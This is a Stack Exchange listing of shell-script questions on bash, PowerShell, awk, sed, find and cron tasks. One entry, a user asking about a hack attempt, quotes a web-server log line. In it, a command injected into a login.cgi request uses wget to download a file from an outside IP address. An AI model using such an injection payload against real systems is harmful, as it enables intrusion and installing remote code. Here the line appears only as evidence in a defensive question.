Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shell-script]

A shell script is a script written for the shell, or command line interpreter, of an operating system.

0
votes
1answer
16 views

How to add QOS to Local Computer Policy with Powershell

I have this code and it works but it makes a domain GPO policy and not a local one. How do i get it to make it local? #Create QOS for RDP Session #Create a new Group Policy Object (GPO) that will be ...
0
votes
0answers
25 views

Changing Power Options with Powershell

I am a newbie when it comes to scripting. I am running the script above. I believe I have to take and change this line of code: {param ($Plan = $(throw ‘Set-PowerPlan Ultimate Performance’ ))} but I ...
1
vote
1answer
24 views

Why does command substitution not work in braces but replacing it with the actual number works?

I'm using the following command to try to max out the number of cores on my server: for i in {1..`nproc --all`}; do while : ; do : ; done & done For some reason, it only ever uses one core, even ...
0
votes
1answer
19 views

Print all commands in a bash function

I am trying to debug a bash function. Is it possible to print all the commands executed by a bash function? I know that it is possible to print all the commands by a bash script by changing #!/bin/...
0
votes
1answer
41 views

Replace lines after a given number of matches on separate lines with AWK

Currently I'm using AWK to find and replace a portion of a string after the first three occurrences of a pattern. The string is formatted like this: func(tempID="39849235",count='12');, and there are ...
0
votes
2answers
32 views

How can I get quotes to show up when I'm using AWK to find and replace?

Currently I'm using AWK to find and replace a portion of the first three occurrences of a string. The string is formatted as such, and there are many of these strings in the file: func(tempID="...
0
votes
1answer
42 views

Auto-lock (Win+L) computer if Ethernet cable is removed or Ethernet signals drops

I want to make my system auto lock whenever I disconnect the Ethernet cable or my LAN signals drops. I'm using Windows 7 and Windows 10.
1
vote
1answer
35 views

How to handle a .js extension correctly in bash script?

I have the following bash script. while IFS= read -r filename; do [[ $(md5 path/to/"$filename-orig") = $(md5 path/to/"$filename") ]] || echo $filename differs; done < path/to/list-of-files-to-...
0
votes
1answer
21 views

Restart on crash script check

I'm trying to make a shell script that checks to see if 2 different processes are running and to restart them if they aren't. I just want to keep it simple. Is this the correct way because it doesn't ...
0
votes
0answers
19 views

how to copy public key using ssh-copy-id silently

I am copying my public key to another machine using ssh-copy-id. $ sudo ssh-copy-id -i /home/vagrant/.ssh/id_rsa.pub vagrant@datanode1.com /bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/...
0
votes
0answers
15 views

update value of PasswordAuthentication property as yes in /etc/ssh/sshd_config silently

I want to update /etc/ssh/sshd_config file with PasswordAuthentication as yes. I am able to do it using vi editor. is it possible to do the same silently with unix command.
0
votes
1answer
24 views

Linux find command- display files older than 7 days - without using timestamp

there is process which creates files in every half and hour. I want to remove files older than 7 days. But when I'm running this command its removing file older than seven days from current timestamp ...
2
votes
1answer
66 views

Find fails with “Too Many Arguments” in Shell Script, but not if run directly in a Terminal

I have a work station that stores images temporarily before compressed versions are uploaded to a server for safe keeping. I have an interest in deleting old files once a day at 3 AM using a script ...
0
votes
0answers
58 views

How to run Shell Script in windows with virtual Environment?

I have created virtual environment in my system with the directory called virt_env. I have installed necessary python scripts. Now I want to run .sh script from the same virtual Environment. If I ...
0
votes
0answers
27 views

How do I get this simple ffmpeg command to work in Automator?

I'm having trouble getting a simple Automator shell script to work. I'm trying to get an ffmpeg command line to run a task on a file that is dropped onto the appliaction icon. This is what i've done: ...
3
votes
1answer
29 views

Use parameters in a bash script using curl

I'm creating a script that does a curl request to a predefined site. Unfortunately the script find the 3 parameters but the curl doesn't work properly. Where is the problem? Here is my attempt. ...
0
votes
1answer
108 views

Bash script need to convert string to date

Hello I have this bash script for checking the integrity of backups. I need to edit it as I have to make warn me when the oldest backup is more than 60 days (as we delete those). Now the date is ...
0
votes
1answer
27 views

Automate a process using bash script

I have a unimrcp client process (ucp) and I want to spawn multiple ucp using shell script. Whenever I spawn a ucp, it returns a command line using which I can access different functionalities in ucp. ...
0
votes
1answer
62 views

How to repeat a character N times with printf

I have a function that a pass a string. I want this function to pad this string with * in a line. Lets say I pass foo bar I want it to print something like *************** *** foo bar *** ************...
0
votes
3answers
78 views

How to display colour text in terminal?

I want to display colour text in terminal(bash shell). Tried with this approach: echo -e "\e[1;31m This is red text \e[0m" But it doesn't change the text colour to red.
0
votes
1answer
50 views

How to find and tar files then delete them

I need to find files that are older than 30 days, tar and compress them and remove the ones that I already tar and compressed. I was trying to execute something like this but it does not look like ...
-1
votes
1answer
52 views

find and grep produce different output if executed from script file or command line

I'm using these commands to to search in multiple pdfs, given a file path: >>find /home/ad0x/Documents/Skola/Flervariabel/Tentor -name '*.pdf' -exec sh -c 'pdftotext "{}" - | grep --with-...
0
votes
0answers
30 views

Pashua Mac won't allow me to align an image over the input box. I've tried various options but to no avail

I recently started to play around with Pashua but it seems to be giving me some trouble. Currently I'm using this for a shell script (Bash) and have edited the example file to get close to my desire ...
0
votes
2answers
93 views

Loop through directories in a given path until an existing directory is reached

I have an unknown path given by the user where I would create a file. Since I don't have write permissions I need to find the first existing dir in the path going from inside to outside and check for ...
1
vote
1answer
16 views

Shell scripts: Change page-width of a PDF?

I have a scanned PDF file, where different pages have different page widths due to how the PDF was concatenated from multiple sources. This tends to trip up viewers. Is there some command line tool, ...
1
vote
0answers
114 views

sed: How to replace variable line if found or append to end of file if not found?

So my question is very much based off of a related question, but has one key difference. In the answer given of: sed '/^FOOBAR=/{h;s/=.*/=newvalue/};${x;/^$/{s//FOOBAR=newvalue/;H};x}' infile I've ...
0
votes
2answers
48 views

loop(repeat) script block until successful db(mysql) password

I have the following function function executeMySql() { while IFS= read -p "$prompt" -r -s -n 1 char do if [[ $char == $'\0' ]]; then break fi if [[ $char == $'\177' ]...
0
votes
1answer
57 views

bash function with parameters not usable with eval in Msys2

I am using Msys2 from PortableApps under Win 10. The answer to this question (i.e., identification and solution of the problem) may be related to the Unix/Linux part of usage, or to its "adaptation" ...
0
votes
1answer
49 views

Need help in fetching information from HyperV Nodes using Powershell

Below is my Script to fetch the information. I am getting OSStatus and uptime as blank in output. Can some one Please help me to get the output using "Get-VM | Select-Object -ExpandProperty ...
1
vote
1answer
62 views

Script or command to check whether user used password to logon Windows machine [closed]

Is there a way to check whether a user uses a password to log in to his notebook vs. some other authentication method? I'd prefer to do this using a script. And maybe someone was using glpi.
0
votes
1answer
47 views

How to execute .sh file (raspberrypi) that is present in someother folder

Sh file name: runme.sh Path: /home/pi-bridger/ I wanna run a .sh script that is under /home/pi-bridger/. I am able to run it inside the folder by using the command ./runme.sh. I wanna run the script ...
0
votes
1answer
266 views

sudo su with password provided in jenkins?

I am stuck with one requirement in which I am switching to some "xxx" user and it asks for password every time. I am trying to automate this process with password hardcoded in Jenkins job. ex: sudo su ...
2
votes
2answers
97 views

Wake up a computer over Internet using another computer in the same local network

I have two Arch Linux-powered computers, 'A' and 'B', connected to the Internet via the same router. I have configured and tested Wake-on-WAN on both of them. Both computers are shut down most of the ...
30
votes
2answers
4k views

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
1
vote
0answers
16 views

How to determine what the type of content in clipboard is in macOS?

I am working on an Keyboard Maestro macro to save the clipboard content to hard drive and then pass the file to Yoink : Since there will be lots of kinds of content put into clipboard, e.g. PNG, JPG, ...
1
vote
1answer
28 views

How to extract multiple urls from String?

I have a string like below https://website.com/BTAE/2015/BTAE assignment jan 15.pdf²0ÔË'\„QI„"ÙP¾^ŒŸZ‡@Æ*]Ü.^‚vðƒ€Ù¾»Æš©Šñ‘€é• ªÂIR#œÉgÉÛ^gMdÉ%9¬e˜Hžôb¿'0<ô ?lþzk…éÃÄórÈ;EW¦K³1…²ì¶ZFžŠÒô*ÄÖ\...
0
votes
1answer
48 views

Pass cronjob output as parameter to curl

I have cronjob that takes hourly backup. Now I want to pass any stderr to an API. 0 * * * * /usr/local/sbin/script.sh 2>&1 | curl -k -X GET "https://192.168.0.25/path/of/joomla/instance/index....
2
votes
3answers
61 views

Script that compares 2 file's sizes and gives a warning message

I am a complete noob in scripting, but I need a script that will compare the sizes of two files and give out a warning if one of those files is 10% bigger than the other. So far, I came up with this :...
30
votes
2answers
4k views

What is wrong with “echo $(stuff)” or “echo `stuff`”?

I used one of the following echo $(stuff) echo `stuff` (where stuff is e.g. pwd or date or something more complicated). Then I was told this syntax is wrong, a bad practice, non-elegant, excessive, ...
-1
votes
1answer
252 views

Copy file from Windows to Linux, when a shell script is executed

I have a program on Linux server, which runs a shell script on Linux server. Say /tmp/ShellScript.sh Now I want to copy a file placed on my Windows Machine location C:\WindowsFolder\FileToCopy to ...
2
votes
2answers
60 views

How do I transpose a table with repeated key values?

I have a table that looks like this: Column A | Column B 10 | 0.1 10 | 0.2 10 | 0.3 20 | 0.4 20 | 0.5 20 | 0.6 I need to transpose ...
0
votes
1answer
125 views

cp command not executing after running other script inside bash script .

There is cp commands inside my shell-script after following commands echo 'Starting Jboss server !!!' (eval "sh standalone.sh --debug") cp /soure_file_path /target_path sleep 60s sh ...
1
vote
1answer
13 views

Opening a URL from the terminal in different spaces macOS

If I run open https://example.com from the terminal and then switch to another space with a safari window open and run the same command, the safari window in my current space will just get focused and ...
0
votes
1answer
33 views

Script to move files that match part of anther files name

I am trying to figure out how to write a script that will take files like this: img123 img123back img124 img125 img125back img126 img127 I need to move all the files that have the same number as the ...
1
vote
2answers
41 views

how to rename all files under folder with specific extension name ( recursive approach )

we want to rename all files under /home/DB_home ( recursive ) so every file under DB_home will rename with .txt extension example before change /home/DB_home/hg/ir/qemu-ga /home/DB_home/td/...
0
votes
1answer
31 views

how to delete all files that are old then X days and ended with number/s

we want to delete all files that ended with number with digit or more as 2 digit or three digit and so on note - when files is ended with number , its tell us this file was rotate and actually backup ...
0
votes
1answer
41 views

SCP off the most recently modified file in a remote directory

Is there a simple command to SCP the most recently modified file in a directory on a remote host? I can figure out how to do that from local to remote... something like: scp ``ls -Art | tail -n 1\`` ...
0
votes
0answers
30 views

Shell script to get ip of list of domain names: connection timed out; no servers could be reached

I have the following script from some sources in the web that should execute command host to get the IP address of a domain name in file myfile.txt. The script is: #! /bin/bash while read hostname; ...
0
votes
1answer
31 views

How to output a particular word in file, if it is present?

I am making a simple script where i turn true to false if true is present in file or vice versa if false is present in file, details here. Now i want to output, what is the value after change ie if i ...
0
votes
1answer
63 views

How to exchange two patterns in place with `sed`?

I am using sed command to change <active>true to <active>false in an xml file. Now if I use sed 's/<active>true/<active>false/g' file.xml > file.xml it completely erases ...